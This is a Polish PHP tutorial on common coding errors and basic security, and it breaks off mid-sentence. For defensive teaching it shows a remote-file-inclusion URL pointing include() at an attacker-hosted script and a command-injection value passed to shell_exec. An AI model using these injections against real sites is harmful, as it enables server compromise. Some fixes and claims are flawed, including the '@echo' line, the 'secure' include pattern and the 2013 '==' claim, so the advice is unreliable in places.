Najczęstsze błędy w programowaniu są wynikiem pomyłki/literówki w trakcie pisania aplikacji albo niedostrzeżeniem jakiejś cechy projektowanego algorytmu. Wielu początkujących programistów jest przerażonych, gdy na ekranie pojawią się tajemnicze komunikaty, a w parze z tym idzie niezaradność. Dlatego też skupimy się na zagadnieniu błędu. Omówimy podstawowe komunikaty zgłaszane przez PHP, techniki pomagające zlokalizować i usunąć błędy, a także przedstawimy kilka narzędzi, które umożliwią testowanie naszych aplikacji.
- Formatowanie kodu
- Komunikaty błędów PHP
- Niepoprawne użycie znaku równości
- Kłopotliwe nagłówki
- Operator @
- Optymalizacja Skryptów
- Bezpieczeństwo
- register_globals *
- safe_mode *
- Tworzenie bezpiecznych skryptów
- Dołączanie plików z paska adresu metodą
$_GET
- Zdalne uruchamianie programów
- Obsługa wyjątków
- Odwołanie do klasy, która nie istnieje
- Odwołanie do funkcji składowej(metody)
- Kompatybilności z PHP4 w OOP
- Dzielenie przez zero
- [!] Operator porównania
- Błędy zaokrągleń
- Podstawowe funkcje odpowiedzialne za filtrowanie danych
- Poziomy raportowania błędów
[!] - ważne
- obecnie niezalecane stosowanie
Formatowanie kodu
Tworząc aplikację nigdy nie należy zapominać o wcięciach oraz formatowanie kodu, ponieważ zwiększa to jego czytelność, a co za tym idzie łatwość modyfikacji, czy też ułatwia znalezienia potencjalnego błędu. Do wyżej wymienionego formatowania kodu zaliczamy stosowanie zawsze nawiasów klamrowych, spacji w nawiasach zwykłych (przy parametrach funkcji), obok operatorów oraz za przecinkiem i średnikiem np. w pętli for. Spójrzmy na dwa przykładowe kody - pierwszy bez formatowania, oraz drugi, zawierający wyżej wymienione wskazówki:
Przykład 1
<?php for($i=0;$i<count($users);$i++) { if($user[$i]['status'] == 'offline') return false; }
Przykład 1a
<?php for( $i = 0; $i < count( $users ); $i++ ) { if( $user[$i]['status'] == 'offline' ) { return false; } }
Od razu na pierwszy rzut oka widać, że kod z Przykładu 1a jest czytelniejszy.
Komunikaty błędów PHP
Przetworzenie skryptu PHP składa się z dwóch faz:
- Kompilacji(Parsowania) - kod skryptu tłumaczony jest na wewnętrzny zestaw instrukcji interpretera.
- Wykonywania - właściwe wykonanie skryptu.
Dzięki temu bez problemu można wyróżnić w której fazie należy szukać przyczyn naszego błędu, ponieważ każda z nich generuje nieco inne komunikaty.
Przejdźmy jednak do strony praktycznej:
Przykład 1
<?php if( !empty( $zmienna ) { echo $zmienna; }
Po jego sparsowaniu powinniśmy ujrzeć następujący komunikat:
PHP Parse error: syntax error, unexpected '{' in /home/[..]/index.php on line 4
Czyli jak widzimy jest to błąd składni powiązany z fazą kompilacji. PHP nie może skompilować skryptu, ponieważ w podanym pliku w linii 4 natrafił na nieprawidłową konstrukcję składniową. Nie zawsze jednak oznacza to, że błąd jest akurat w tej linii. Zazwyczaj powoduje go jakaś pomyłka nieco wyżej. Przyjrzyjmy się więc nieco bliżej komunikatowi. Mówi on, że PHP natknął się na niespodziewany nawias klamrowy w linii 4. Rzeczywiście, znajduje się on na swoim miejscu tak, jak być powinien, ale skoro według interpretera nie powinno go tu być, a nic więcej w tej linii nie mamy, zerknijmy wyżej: if(!empty($zmienna)
- jak się okazało nie zamknęliśmy jednego z nawiasów, dlatego też interpreter PHP nie napotykając znaku )
, dostał do nowej linii w której był {
i zgłosił błąd. Po dodaniu brakującego nawiasu skrypt zaczyna poprawnie działać.
Przykład 1a
A co jeśli ten warunek zapiszemy w następujący sposób:
<?php if( !empty( $zmienna ) { echo $zmienna; }
Po jego sparsowaniu ujrzymy również komunikat:
PHP Parse error: syntax error, unexpected '{' in /home/[..]/index.php on line 3
Zgodnie z zasadą opisaną w punkcie wyżej, zaglądamy do linijki nr 2, która jak widzimy jest pusta. Nie należny oczywiście siać od razu paniki, wystarczy również prześledzić nawiasy, dla ułatwienia w platformie Windows możemy skorzystać z programu notepad++
, który po postawieniu kursora za nawiasem (
podświetla nam od razu jego zamknięcie, co bez problemu ułatwia nam lokalizacje nawiasu, w którym go nie posiadamy.
Przykład 2
Po usunięciu powyższego błędu postanowiliśmy rozbudować nasz skrypt o wywołanie funkcji.
<?php if( !empty( $zmienna ) ) { echo $zmienna inicjujFunkcje(); }
Jednakże po uruchomieniu znów pojawił się komunikat błędu:
PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/[..]/index.php on line 8
Kompilatory aby ułatwić pracę zarówno sobie, jak i programiście grupują wszystkie identyczne funkcje np. zmienne, pod jedna wspólna nazwą - tokenem, dzięki temu tworzenie składni jest teraz o wiele prostsze. Bo jeżeli chcemy, aby w jakimś miejscu można było podać dowolną zmienną, używamy właśnie tokenu i kompilator już wie, co można w danym miejscu umieścić. Informacje o błędnym użyciu tokenu wyświetlane są w sposób jawny, o czym informuje nas owy tajemniczy napis TSTRING
. Komunikat informuje nas również, że PHP natknął się na ciąg tekstowy, oczekując przecinka albo średnika. Spójrzmy linijkę wyżej - rzeczywiście, brakuje nam średnika. Dlaczego jednak komunikat zwraca ciąg tekstowy, skoro w 8 linijce jest funkcja? Kompilator po prostu nie dotarł jeszcze do występujących dalej nawiasów, więc wstępnie zaklasyfikował nazwę naszej funkcji jako tekst. Gdyby udało mu się mu tam dotrzeć i połączyłby z nią nawiasy, powstał by wtedy nowy token: TFUNCTION
.
Gdy już poprawiliśmy usterkę i zainicjowaliśmy zmienną $zmienna
jakąś wartością, okazało się, że nasz skrypt nadal nie działa. Tym razem mamy do czynienia z błędem innego typu:
PHP Fatal error: Call to undefined function inicjujFunkcje() in /home/[..]/index.php on line 8
Jest to oczywiście błąd wykonywania skryptu, w którym to PHP poinformował nas, że dotarł do wywołania funkcji inicjujFunkcje()
, lecz taka nie istnieje. W tym momencie pozostało nam jedynie odkryć przyczynę tego stanu, być może nie dołączyliśmy jakiejś ważnej biblioteki lub po prostu jeszcze nie zdefiniowaliśmy naszej funkcji. Należy jednak nie zapominać o tym, że czasem, możemy przykryć fragment kodu i pozornie wyżej opisany problem może nie być widoczny. W tym wypadku można to zaobserwować, gdy nie zdefiniujemy zmiennej $zmienna
, ponieważ nie zostanie wówczas spełniony warunek if(!empty($zmienna))
, jednakże błąd nadal istnieje i ukaże się nam w momencie przypisania jakiejś wartości do zmiennej $zmienna
.
Komunikaty Fatal error pojawiają się zawsze wtedy, gdy w trakcie wykonywania wystąpi problem uniemożliwiający dalszą pracę interpreterowi. Przykładem jest podanie do instrukcji require()
nazwy nieistniejącego pliku, wówczas dalsze wykonywanie skryptu zostaje przerwane. Jednakże użycie include()
spowoduje "tylko" pokazanie się ostrzeżenia, a skrypt będzie wykonywany dalej.
Innym rodzajem komunikatu o błędzie jest Warning, czyli ostrzeżenie. W odróżnieniu od Fatal error lub Parse error, Warning nie przerywa działania naszego skryptu. Przykładem pojawiania się tego komunikatu może być np. użycie pliku w kodowaniu UTF-8 wraz z BOM:
Przykład 3
<?php session_start();
Komunikat błędu:
PHP Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/[..]/index.php:1) in /home/[..]/index.php on line 3
Nad rozwiązaniem powyższego problemu skupiliśmy się w poście UTF-8 bez BOM , do którego oczywiście serdecznie zapraszamy.
Ostatnim typem komunikatów są tzw. Notices, czyli powiadomienia. Mają one niski priorytet i służą do informowania o miejscach, które potencjalnie mogą stanowić źródło problemu.
Przykład 4
<?php echo witaj;
Ujrzymy wówczas komunikat:
PHP Notice: Use of undefined constant witaj - assumed 'witaj' in /home/[..]/index.php on line 3
Skrypt widząc witaj
nie poprzedzone znakiem $
interpretuje tekst "witaj" jako stała, a ponieważ taka nie istnieje, informuje nas o tym w postaci ostrzeżenia. A co jeśli programiście wcale nie chodziło o to, żeby wstawić tam wartość stałej, tylko wyświetlić na ekranie napis witaj, wówczas uzupełniamy nasza linijkę o apostrofy ''
, należy jednak pamiętać o jednej ważnej rzeczy a mianowicie, kiedy stosować apostrof, a kiedy cudzysłów:
- znak apostrofa
'
- sygnalizujemy PHP, że wewnątrz nie ma nic do interpretowania, przez co PHP wyświetla lub przypisuje string bez analizy, - znak cudzysłowie
"
- nakazuje PHP sprawdzenie czy wewnątrz łańcucha nie znajduje się zmienna lub funkcja, którą należy wykonać
Przykład
- Metoda 1(najszybsza, zalecana)
$zmienna = 'Użytkownik:'.$login;
- Metoda 2(niezalecana)
$zmienna = "Użytkownik: $login";
- Metoda 3(niezalecana)
$zmienna = "Użytkownik:".$login;
Przykład 4.1
Osobnego rozpatrzenia wymagają tablice asocjacyjne. Musimy pamiętać, że nazwy kluczy takich tablic zapisujemy w cudzysłowach ""
lub apostrofach ''
:
<?php $array["klucz"] = 1; //dobrze $array['klucz2'] = 2; // dobrze $array[klucz3] = 3; // źle
Bo w tym wypadku również zostaniemy ostrzeżeni:
PHP Notice: Use of undefined constant klucz3 - assumed 'klucz3' in /home/[..]/index.php on line 5
Należy wiec pamiętać, żeby tak pisać nasze skrypty, aby nie generowały one tego typu ostrzeżeń, z kilku ważnych powodów:
- W wypadku gdy nasz skrypt rozwijany będzie również przez innych i ustawiony zostanie wysoki poziom raportowania błędów, właściwa treść zginie w setkach powiadomień,
- Wiele serwerów, pomimo ryzyka związanego z bezpieczeństwem, pozostawia domyślnie włączony wysoki poziom raportowania błędów,
- Brak komunikatów jest wyrazem dbałości o sytuacje wyjątkowe oraz daje możliwość ich obsługi.
Dobrym nawykiem jest używanie komendy isset() do sprawdzania, czy wymagane w danym fragmencie zmienne istnieją, a także inicjowanie ich przed pierwszym użyciem domyślną wartością.
Biała strona
Często zdarza się, że wykonanie skryptu skutkuje pojawieniem się białej strony bez żadnych komunikatów informujących o powstaniu błędu. Spowodowane jest to niewystarczającym poziomem raportowania błędów.
Niepoprawne użycie znaku równości =
Przykład 1
<?php $zmienna = 2; if( $zmienna = 1 ) { echo '1'; } else { echo '2'; }
Powyższy kod zawsze wyświetli 1, ponieważ w instrukcji warunkowej użyto operatora przypisania =
, a nie porównania ==
. Należy jednak pamiętać o tym, że porównując dwie zmienne typu string należny zastosować operator porównania ===
.
Brak znaku końca }
Często szczególnie początkującym programistą zdarza się zapomnieć postawić znaku } na końcu danego bloku instrukcji, o czym jak zwykle zostaniemy poinformowani w wyniku komunikatu:
PHP Parse error: syntax error, unexpected end of file in /home/[...]/index.php on line X
Przykład 1
<?php if($b < $a) { if($a > 10) { echo 'dobrze'; } elseif($a < 5 ) { echo 'zle'; } else echo 'inne';
Jest to przeważnie wina nie dbania o formatowanie naszego kodu, co widać na przykładnie zaprezentowanym powyżej. Na pierwszy rzut oka trudno zauważyć gdzie tkwi nasz błąd, na szczęście Parser PHP informuje nas w której linijce spodziewał się znaku końca czyli naszego }
, dlatego pamiętajmy zawsze o formatowaniu naszego kod!
Przykład 1a
<?php if( $b < $a ) { if( $a > 10 ) { echo 'dobrze'; } elseif( $a < 5 ) { echo 'zle'; } else echo 'inne'; }
Kłopotliwe nagłówki header()
Często podczas wysyłania nagłówków do przeglądarki, np. w takim skrypcie:
Przykład 1
<?php echo 'To są dane wysłane przed stworzeniem nagłówka'; if( !$isAdmin ) { header( 'WWW-Authenticate: Basic realm="Admin "' ); header( 'HTTP/1.0 401 Unauthorized' ); echo 'Zły login/hasło.'; exit; } else { echo 'Dobry login/hasło'; }
otrzymujemy następujące komunikaty:
PHP Warning: Cannot modify header information - headers already sent by (output started at /home/[..]/index.php:3) in /home/[..]/index.php on line 7 PHP Warning: Cannot modify header information - headers already sent by (output started at /home/[..]/index.php:3) in /home/[..]/index.php on line 8
Oznacza to, że jakieś informacje zostały już wysłane do przeglądarki (echo, print, spacja przed <?php
, czy nawet nasz BOM ). Rozwiązaniem problemu jest skasowanie wszystkiego przed <?php
, lub wpisanie na początku pliku funkcji uruchamiającej buforowanie: obstart()
. Gdy chcemy opróżnić bufor wywołujemy funkcję obflush()
(bez kończenia buforowania), lub obendflush()
(kończy buforowanie):
<?php ob_start(); echo 'To są dane wysłane przed stworzeniem nagłówka'; if( !$isAdmin ) { header( 'WWW-Authenticate: Basic realm="Admin "' ); header( 'HTTP/1.0 401 Unauthorized' ); echo 'Zły login/hasło.'; exit; } else { echo 'Dobry login/hasło'; } ob_end_flush();
Kilka słów o operatorze @
Jeżeli dowolne wyrażenie PHP poprzedzimy znakiem @, interpreter nie wyświetli żadnego komunikatu błędu, nawet jeżeli takowy istnieje. Nie oznacza to wcale, że błąd ten nagle znika, po prostu nie jesteśmy o nim informowani, dlatego też należy bardzo rozważnie postępować z jego użyciem. Operator @ przydaje się głównie przy funkcjach do komunikacji z zewnętrznymi źródłami danych np. plikami, ponieważ gdy PHP nie wykryje żądanego pliku, wówczas nie zostanie wygenerowany określony wynik, a także ukaże się nam komunikat Warning, co jest oczywiście zjawiskiem niepożądanym.
Przykład 1
<?php echo file_get_contents( 'plik.txt' );
Kiedy plik.txt
nie będzie istnieć, interpreter wygeneruje stosowny komunikat, którego w formie Warning`a oczywiście oglądać nie chcemy. Dlatego zanim wczytamy jego zawartość, wcześniej sprawdzimy drugą funkcją istnienie tego pliku.
Przykład 1a
<?php if( file_exists( 'plik.txt' ) ) { echo file_get_contents( 'plik.txt' ); } else { echo 'Podany plik nie istnieje.'; }
Lecz pojawia się nam tu jak wiadomo problem wydajności. Odczyt czegokolwiek z twardego dysku stanowi duży narzut czasowy dla oprogramowania, dlatego powinniśmy się starać wykonywać jak najmniej takich operacji. Wiemy z dokumentacji, że samo filegetcontents()
zwraca nam false, jeśli plik nie istnieje, więc przeszkadza nam tu jedynie pojawiające się ostrzeżenie. Dlatego właśnie skorzystamy z @, aby się go pozbyć:
<?php $_file = @file_get_contents( 'plik.txt' ); if( $_file !== FALSE ) { echo $_file; } else { echo 'Podany plik nie istnieje.'; }
Jak widać wynik funkcji zapisaliśmy w zmiennej, ponieważ jest on nam potrzebny w paru miejscach. Aby nie dostawać komunikatu Warning, poprzedziliśmy wywołanie funkcji operatorem @.
Istnieje również możliwość zapisania tego w podany poniżej sposób, jednakże przy założeniu, że w poleceniu echo
tylko wywołaliśmy wybrany przez nas zestaw instrukcji w tym wypadku: filegetcontents(
'plik.txt'
)
:
<?php @echo file_get_contents( 'plik.txt' ) or die( 'Podany plik nie istnieje.' );
Zanim użyjemy operatora @, najpierw zastanówmy się czy aby na pewno jest on w tym miejscu do czegoś konkretnego potrzebny. Jego przetwarzanie powoduje znaczny spadek wydajności i jedynie pozornie rozwiązuje problemy, dlatego też do dobrych praktyk programistycznych należy unikanie jego stosowania.
Optymalizowanie skryptów
Optymalizacja skryptów to bardzo ważna i często pomijana przez programistów kwestia. Może się wydawać, że zoptymalizowanie programu z 0.020 do 0.005 sekundy to nic, ale przy 2000 odwiedzin daje to widoczne zwiększenie szybkości. Przyjrzyjmy się więc poniższej pętli:<?php for( $i=0; $i < count( $users );$i++ ) { if( $user[$i]['status'] == 'offline' ) { return false; } }Po przeanalizowaniu pętli można stwierdzić, że wraz z każdą iteracją wykonywana jest funkcja
count()
, pomimo iż możliwe jest wykonanie jej tylko raz:
<?php for( $i=0, $liczba_userow = count( $users ); $i < $liczba_userow ;$i++ ) { if( $user[$i]['status'] == 'offline' ) { return false; } }
Przykład 2
Załóżmy, że programista tworząc swój skrypt chcę wydrukować na ekranien (10)
razy jakiś ciąg znaków *
, do czego użył pętli zaprezentowanej poniżej:
<?php $n = 10; for( $i=0; $i < $n; $i-- ){ echo '*'; }Jednak przy próbie uruchomienia okazało się, że nasz ciąg znakowy
*
powielany jest w nieskończoność aż kompilator zwrócił nam komunikat(zależne od ustawień serwera):
PHP Timed out Fatal error: Maximum execution time of 30 seconds exceeded in /home/[..]/index.php on line 8Jak widać podczas uruchomienia naszego skryptu serwer wygenerował błąd, ponieważ przekroczyliśmy dopuszczały czas wykonywania naszego skryptu. Przyjrzyjmy się wiec gdzie zrobiliśmy błąd. Bez trudu można zauważyć, że programista przypadkiem wraz z każdym skokiem pętli zmniejszał licznik
i
, zamiast go zwiększać co oczywiście jest nie dopuszczalne w naszym przypadku, ponieważ wtedy nigdy nie osiągniemy naszego n (10)
. Nanosimy poprawkę i otrzymujemy:
<?php $n = 10; for( $i=0; $i < $n; $i++ ){ echo '*'; }Jak widać tym razem uzyskaliśmy zamierzony efekt.
Pamiętaj!
Zawsze należy starać się tworzyć skrypty tak, żeby czas wykonywania skryptu nie został nigdy przekroczony, pomimo iż bez problemu można zmodyfikować długość tego czasu lub nawet usunąć ten limit poprzez funkcje ini_set('max_execution_time', 0);
jednakże takie operacje nie są zalecane i można je stosować tylko w wyjątkowych sytuacjach, kiedy pomimo próby optymalizacji naszego skryptu, problem nadal się pojawia.
Bezpieczeństwo
Najczęściej konfigurację rozpoczyna się od parametru
register_globals
. Zaleca się ustawienie tej opcji na Off. W przeciwnym razie wszystkie zmienne wysyłane do skryptu tworzone będą jako globalne, co może spowodować nadpisywanie wcześniej ustalonych wartości zmiennych o takich samych nazwach. Tym samym możliwe staje się na przykład oszukiwanie mechanizmów autoryzacji. Dlatego od wersji 4.2 wartością domyślną tej opcji jest Off, co sprawia, że nie mogą być tworzone żadne dodatkowe zmienne globalne oprócz zdefiniowanych bezpośrednio w skrypcie. W wersji PHP 5.3.0 uznano stosowanie tego parametru za metodę przestarzała, a w wersji PHP 5.4.0 parametr ten został usunięty.
Przy wyłączonej opcji register_globals
do przekazywanej zmiennej należy się odwoływać za pomocą specjalnych tablic: $_POST['zmienna']
i $_GET['zmienna']
lub $HTTP_POST_VARS['zmienna']
i $HTTP_GET_VARS['zmienna']
, jednakże drugi sposób jest już uważany za przestarzały.
Do niedawna drugą ważną funkcją było
safe_mode
, które ograniczało możliwości uruchamiania poleceń systemowych z poziomu aplikacji PHP oraz ograniczało dostępu do zmiennych środowiskowych, jednak wraz z wersją 5.4.0 podobnie jak w wypadku register_globals
parametr ten został usunięty.
Tworzenie bezpiecznych skryptów
Następnym ważnym zagadnieniem związanym z bezpieczeństwem PHP jest sposób pisania skryptów. Programista powinien zawsze przewidywać następstwa niezgodnego z oczekiwaniami. Pisząc kod, nie można skupiać uwagi tylko i wyłącznie na widocznych efektach działania skryptów, ale należy również wykonać dokładną analizę rozwoju zdarzeń w sytuacjach awaryjnych, np. gdy nie będzie działała baza MySQL lub gdy w parametrze przekazywanym metodą$_GET
zabraknie jednej z przewidzianych wartości, czy też okaże się ona błędna.
Przykład 1
Załóżmy, że na nasza strona internetowa umożliwia użytkownikom zamieszczanie ogłoszeń, których treść wpisywana jest przy użyciu formularza. Po kliknięciu Wyślij wpisana treść jest przekazywana do skryptudodaj.php
za pomocą tablicy $_POST['tresc']
. Zadaniem skryptu jest zapisanie treści ogłoszenia w bazie danych oraz wyświetlenie jej jednocześnie na stronie. Jeżeli użytkownik wpisze w formularzu oprócz treści ogłoszenia również instrukcje formatujące HTML:
<b>Moja treść jest pogrubiona</b>to mimo globalnych ustaleń w kwestii wyglądu strony treść wprowadzona przez tego użytkownika będzie wyświetlona pogrubioną czcionką. Jest to przykład banalny, jednakże poza nieoczekiwaną zmianą związaną z wyglądem strony nie przynosi większych szkód. Ale wystarczy w treści formularza wpisać skrypt PHP lub JavaScript(XSS), aby rezultaty działania niezabezpieczonego pliku
dodaj.php
miały znacznie poważniejsze konsekwencje.
<?php $tresc = $_POST['tresc']; // [...] zapis do bazy danych while( $row = mysql_fetch_assoc( $sql ) ){ echo $row['tresc']; }
Jak się ustrzec przed tego typu problemami?
Możliwości jest wiele. Najprostsze rozwiązanie to wykorzystanie specjalnych funkcji PHP:- htmlspecialchars() - funkcja zapisuje znaki specjalne HTML (np. <) za pomocą odpowiednich symboli, dzięki czemu nie są one interpretowane, lecz wyświetlane jak zwykły tekst strony,
- strip_tags() - funkcja całkowicie usuwa znaczniki HTML.
- trim() - funkcja usuwa niedrukowane znaki (spacje, tabulacje) na początku i końcu łańcucha
Przykład 1a
$tresc = htmlspecialchars( $_POST['tresc'] );lub
$tresc = strip_tags( $_POST['tresc'] );oraz
$tresc = trim( $_POST['tresc'] );
Przykład 2
Analizując dalej działanie przykładowego skryptudodaj.php
, zauważamy kolejne, potencjalne problemy. Mianowicie jeżeli w formularzu zostanie wpisany tekst zawierający np. cudzysłowy, to próba wstawienia takiej niesformatowanej wartości do bazy danych może zakończyć się w najlepszym razie niepowodzeniem. W najgorszym wypadku, gdy użytkownik formularza świadomie skonstruuje odpowiednią kolejność znaków specjalnych, może nie tylko wstawić do bazy nowe lub obejrzeć istniejące dane, ale również je zniszczyć. To działanie nazywa się włamaniem typu SQL injection, o którym napiszemy w kolejnym poście na naszym blogu.
Dołączanie plików z paska adresu metodą $_GET
Bardzo często początkujący programiści dołączają podstrony do głównego szablonu przez pasek adresu wpisując np. http://mojserwer.pl/index.php?page=omnie.php
. Zazwyczaj kod wygląda wtedy następująco:
Przykład 1
<?php // [...] include( $_GET['page'] ); // [...]Musimy jednak mieć świadomość, że potencjalny kraker może w takim wypadku wpisać:
http://mojserwer.pl/index.php?page=http://kraker.pl/hack.php
i jego plik hack.php
wykona się tak, jakby był na serwerze http://mojserwer.pl/
. Prawidłowy, odporny na tego typu manipulacje kod wygląda więc następująco:
Przykład 1a
<?php // [...] if( isset( $_GET['page'] ) && file_exists( $_GET['page'] ) ) { include( basename( $_GET['page'] . '.php' ) ); } // [...]
Jednakże należy zauważyć, że w tym wypadku w pasku adresu nie podajemy rozszerzenia, a przykładowy adres wygląda następująco: http://mojserwer.pl/index.php?page=omnie
. Taki kod wygląda już o wiele ładniej, jednakże nie jest on jeszcze w pełni bezpieczny dlatego też nie zaleca się stosowania tego sposób. W tym momencie warto zapoznać się z mod_rewrite, który chociaż działa na podobnej zasadzie okazuje się być bardziej bezpieczny.
Zdalne uruchamianie programów
Niezabezpieczone skrypty mogą również pozwalać nieuprawnionym osobom na wykonywanie programów na serwerze, np. jeśli przekazany za pośrednictwem zmiennej ciąg znaków zostanie użyty jako parametr poleceniashell_exec()
. Jeżeli zamiast spodziewanych wartości przekazany zostanie ciąg poleceń systemu Unix, wyniki działania skryptu mogą być całkiem odmienne od założonych.
Przykład 1
<?php
$wykonaj = shell_exec( "cat $_POST['plik']" );
Jeżeli zmienna plik zamiast spodziewanej nazwy pliku tekstowego, którego zawartość ma zostać wyświetlona, będzie zawierać pochodzący z formularza ciąg znaków:
plik.txt \ ls -lto oprócz wyświetlenia na ekranie zawartości podanego pliku otrzymamy listę plików w danym katalogu. Dlatego zanim użyjemy przekazywanego ciąg znaków jako parametru poleceń typu
exec()
, shell_exec()
bądź też system()
, koniecznie musimy poddać go działaniu funkcji escapeshellcmd()
, która doda znaki \
przed wszelkimi meta-znakami, takimi jak: \ + ? [ ] ^ $ ( )
co pozwoli uniknąć opisanych powyżej niebezpiecznych sytuacji.
Obsługa wyjątków
W większych projektach zawsze powinno się uwzględnić klasę/funkcję do obsługi błędów. Nie można sobie pozwolić na klasyczne komunikaty, ponieważ po pierwsze są one nieestetyczne, a po drugie mogą dostarczyć cennych informacji dla krakerów. Przykładowa funkcja dla obsługi błędów MySQL może wyglądać tak:Przykład 1
<?php function catch_mysql_error( $line ) { $errFile = fopen( 'mysql_errors.txt', 'a' ); $strToWrite = date( 'd.m.Y H:i' ) . '::' . __FILE__ . '::' . $line . '::' . mysql_errno() . '::' . mysql_error() . '::' . $_SERVER["REMOTE_ADDR"] . '::' . $_SERVER["REQUEST_URI"] . "\n"; fwrite( $errFile, $strToWrite ); fclose( $errFile ); echo 'Wystąpił błąd podczas pracy z bazą danych, i został on zgłoszony do administratora. Przepraszamy.'; }Przykładowe odwołanie się do funkcji wygląda następująco:
Przykład 1a
$getQuery = @mysql_query( 'SELECT * FROM tabela' ) OR exit( catch_mysql_error( __LINE__ ) );W takiej funkcji, wszystkie potrzebne dane, czyli data wraz z godziną, nazwa pliku, linia, kod błędu, treść błędu oraz numer IP (przydatny w przypadku wykrycia próby włamania) są zapisywane do pliku, a użytkownikowi wyświetlany jest stosowny komunikat.
Odwołanie do klasy, która nie istnieje
Czasem gdy tworzymy nowy obiekt danej klasy może się zdarzyć w wyniku naszego roztargnienia odwołamy się do klasy, która nie istnieje, o czym oczywiście zostaniemy poinformowani w postaci komunikatu:PHP Fatal error: Class 'NaszaKlasa' not found in /home/[...]/index.php on line XBłąd ten może mieć rożne źródła:
- wynik naszej literówki np.
<?php class Hello{ private $hello; public function sayHello(){ return $this->hello = "Hello World"; } } $obiekt = new Hallo; // gdzie ewidentnie widać, że powinno być Hello echo $obiekt->sayHello();
- odwołanie do klasy zapisanej mała literą,
- odwołanie się do do istniejącej klasy, jednakże nie zaimplementowanej do naszego pliku np. w wyniku nie uwzględnienia jej w naszej przestrzeni nazw NAMESPACE.
Należy wiec pamiętać, że PHP rozróżnia wielkości liter, a tworząc nazewnictwo klas zawsze stosujemy styl typu: upper camelCase.
Odwołanie do funkcji składowej(metody)
Podobnie jak wypadku odwołania do nieistniejącej klasy i w tym wypadku również zostaniemy poinformowani o błędzie:PHP Fatal error: Call to undefined method NaszaKlasa::naszaMetoda() in /home/[...]/index.php on line XBłąd ten oczywiście podobnie jak było w wypadku klas może być:
- wynikiem naszej literówki np.
<?php class Hello{ private $hello; public function sayHello(){ return $this->hello = "Hello World"; } } $obiekt = new Hello; echo $obiekt->seyHello();
- jednakże w tym wypadku odwołanie się do metody zapisanej małymi literami zadziała.
- odwołanie do metody, która nie istnieje w danej klasie, lub nie mamy do niej dostępu w wyniku hermetyzacji metod:
PHP Fatal error: Call to protected method NaszaKlasa::naszaMetoda() from context '' in /home/[...]/index.php on line Xlub
PHP Fatal error: Call to private method NaszaKlasa::naszaMetoda() from context '' in /home/[...]/index.php on line X
- odwołanie się do metody jako zmiennej:
PHP Notice: Undefined property: NaszaKlasa::$naszaMetoda in /home/[...]/index.php on line X
Pamiętaj! Tworząc nazewnictwo funkcji składowych(metod) zawsze stosuj styl typu: camelCase, bo to później znacznie usprawnia interpretacje napisanego przez nas kodu.
Parę słów o kompatybilności z PHP4 w OOP
Jak wiadomo, aby wszystko to co działało poprawnie w wersji PHP4 działało nadal w wersji PHP5 zastosowano kompatybilność wstecz, tak samo było w wypadku OOP. Jednakże przy pełnym raportowaniu błędów mogą pojawiać się problemy, oto jeden z nich: Załóżmy, że stworzymy sobie klasę Osoba, w której zadeklarujemy zmienna imię:<?php class Osoba { var $imie; }to mimo iż deklaracja takowa jest poprawna, przy pełnym raportowaniu błędów, ujrzymy komunikat:
Strict Standards: var: Deprecated. Please use the public/private/protected modifiers in index.php on line 5Jest to oczywiście informacja, że stosowanie var, w obecnej wersji PHP jest nie zalecane i należy nadać jej typ jednego z modyfikatorów : public/private/protected.
Dzielenie przez zero
Na koniec warto jeszcze wspomnieć o pewnym Warning`u, który teoretycznie nigdy nie powinien się nam pojawić, ale jak wiadomo czasem może się zdarzyć, a mianowicie, kiedy próbujemy podzielić jakaś liczbę przez zero:<?php $n = 10; echo $n/0;
PHP Warning: Division by zero in /home/[..]/index.php on line 4Oczywiście jak wiadomo nikt z nas nie napisze swojego skryptu dodając jawnie
0
, jest to tylko przykład prezentujący działanie, jednakże należy zawsze pamiętać, by dzieląc coś sprawdzać czy czasem nasza wartość nie przyjmuje właśnie zera.
Operator porównania(ważne)
Operatory porównania są niezbędne do korzystania z instrukcji warunkowych (jeśli coś to zrób coś). Zwracają one wartość TRUE (prawda – 1) lub FALSE (fałsz – 0).Przykład | Nazwa | Wynik |
$a==$b | Równy | Prawda jeśli $a jest równe $b. |
$a===$b | Identyczny | Prawda jeśli $a jest równe $b i są tego samego typu. (od PHP4) |
$a!=$b | Nie równe | Prawda jeśli $a nie jest równe $b. |
$a!==$b | Nie identyczny | Prawda jeśli $a nie jest równe $b lub nie są tego samego typu. (od PHP4) |
$a < $b | Mniejsze | Prawda jeśli $a jest mniejsze niż $b. |
$a > $b | Większe | Prawda jeśli $a jest większe niż $b. |
$a<=$b | Mniejsze lub równe | Prawda jeśli $a jest mniejsze lub równe $b. |
$a>=$b | Większe lub równe | Prawda jeśli $a jest większe lub równe $b. |
Uwaga!!
Ponieważ 1 lutego 2013 roku udowodniono, że operator==
potrafi przyjmować błędne wartości, zaleca się stosowanie operatora===
, które sprawdza również jakiego typu są zadane dane.
Przykład błędnego wyniku porównania dla operatora ==
:
<?php if("1234" == "\t\r\n 1234") echo "Takie same\n"; else echo "Nie takie same\n";który zwraca:
Takie same
, a powinien zwrócić: Nie takie same
.
Błędy zaokrągleń
Jak wiadomo czasem wymagane jest od użytkownika, aby wprowadził jakieś dane. W tym wypadku skupimy się na danych liczbowych.Przykład 1
W ostatnich latach rośnie popularność sklepów internetowych, gdzie praktykuje się dodawanie produktów, które zamierzamy zakupić do tzw. Koszyka. Jak wiadomo użytkownik przed finalizacją transakcji, sam określa ile sztuk danego produktu chcę zakupić i tu się właśnie pojawia pytanie: A co jak wprowadzimy blednę dane, przyjrzyjmy się wiec temu z bliska: Tradycyjnie nasz kod wyglądał by np. tak (oczywiście jest to tylko przykład, bo jak wiadomo tworząc sklepy internetowe operujemy na obiektach, a nie tworzymy sklepu strukturalnie, ale tu chodzi o samą idee):<?php $ileSztuk = mysql_real_escape_string( $_POST['ilosc_stuk'] );Oczywiście obecnie zaleca się używać mysqli lub PDO, jednakże mysql nadal jest bardzo popularne, dlatego przykład oparliśmy właśnie na nim, ale skupmy się na naszym problemie:
- Użytkownik podaje jako liczbę sztuk np.
1.5
, a jak wiadomo liczba sztuk jest liczbą całkowitą, dlatego też następuje zaokrąglenie tej liczby w naszym przypadku do2
, dzieję się tak ponieważ w naszej bazie danych ustawiliśmy oczywiście dla naszego rekordu typ całkowity. Dlatego też modyfikujemy stworzony przez nas fragment kodu, następująco:
<?php $ileSztuk = round( $_POST['ilosc_stuk'] );Po przetestowaniu widzimy, że wprowadzając liczbę
1,5
